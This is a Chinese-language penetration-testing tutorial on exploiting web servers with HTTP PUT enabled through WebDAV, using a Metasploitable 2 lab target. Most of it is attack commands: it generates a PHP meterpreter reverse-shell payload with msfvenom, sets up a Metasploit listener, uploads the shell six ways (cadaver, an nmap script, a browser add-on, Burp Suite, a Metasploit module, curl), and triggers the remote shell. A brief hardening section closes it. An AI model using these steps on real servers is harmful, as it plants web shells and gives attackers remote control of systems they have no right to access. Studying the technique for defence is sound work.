挖洞经验 | 多种针对开启HTTP PUT方法的漏洞利用
字数 1128 2025-08-15 21:33:57
HTTP PUT方法漏洞利用全面指南
1. HTTP PUT方法简介
HTTP PUT方法最初设计用于文件管理操作,允许对网站服务器上的文件进行更改、删除和更新。该方法若配置不当,可能导致严重的安全漏洞:
- 主要风险:允许未经授权的文件上传
- 典型场景:WebDAV服务中常集成PUT方法
- 安全建议:如必须启用,需对相关文件资源实施严格的访问控制
2. 测试环境准备
基础配置
- 目标机器:Metasploitable 2 (IP: 192.168.1.103)
- 攻击机器:Kali Linux (IP: 192.168.1.105)
前提条件
- 目标服务器需运行WebDAV服务
- 目标服务器需启用HTTP PUT方法
3. 漏洞检测方法
使用Nikto扫描
nikto -h http://192.168.1.103/dav/
关键输出:检查扫描结果中是否显示PUT方法被启用
4. 攻击载荷生成
使用Msfvenom创建反弹shell
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.105 lport=4444 -f raw
操作要点:
- 复制从
<?php到die()的完整PHP代码 - 保存为shell.php文件(如:/root/Desktop/shell.php)
Metasploit监听设置
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.1.105
set lport 4444
exploit
5. 多种利用技术详解
5.1 使用Cadaver工具
cadaver http://192.168.1.103/dav/
put /root/Desktop/shell.php
验证:访问http://192.168.1.103/dav/shell.php确认上传成功
5.2 使用Nmap脚本
nmap -p 80 192.168.1.103 --script http-put --script-args http-put.url='/dav/nmap.php',http-put.file='/root/Desktop/nmap.php'
注意:需提前准备nmap.php文件(内容同shell.php)
5.3 使用Firefox Poster插件
- 安装Poster插件
- 配置:
- URL:
http://192.168.1.103/dav/poster.php - 方法: PUT
- 选择本地poster.php文件上传
- URL:
5.4 使用Burpsuite
- 拦截常规GET请求
- 发送到Repeater模块
- 修改为:
PUT /dav/burp.php HTTP/1.1 [粘贴shell.php内容] - 执行请求
5.5 使用Metasploit模块
use auxiliary/scanner/http/http_put
set RHOSTS 192.168.1.103
set RPORT 80
set PATH /dav/meter.php
set FILEDATA file:///root/Desktop/meter.php
run
5.6 使用cURL工具
curl http://192.168.1.103/dav/ --upload-file /root/Desktop/curl.php -v
6. 攻击验证流程
- 确认文件上传成功(访问对应URL)
- 确保Metasploit监听已启动
- 访问上传的PHP文件触发反弹shell
- 在Metasploit中验证连接:
meterpreter> sysinfo
7. 防御措施
-
禁用不必要的HTTP方法:
<LimitExcept GET POST> Deny from all </LimitExcept> -
严格的权限控制:
- Web目录设置为只读
- 对可写目录实施严格的访问控制
-
定期安全扫描:
- 使用Nikto等工具检查服务器配置
- 监控异常文件上传行为
-
WebDAV安全配置:
- 禁用匿名写入权限
- 启用身份验证机制
-
日志监控:
- 记录所有PUT/DELETE方法请求
- 设置异常请求告警
8. 总结
本指南详细介绍了HTTP PUT方法漏洞的多种利用技术,从检测到实际利用的全过程。安全从业人员应了解这些攻击手法以便更好地防御,同时系统管理员应按照防御措施加固服务器配置。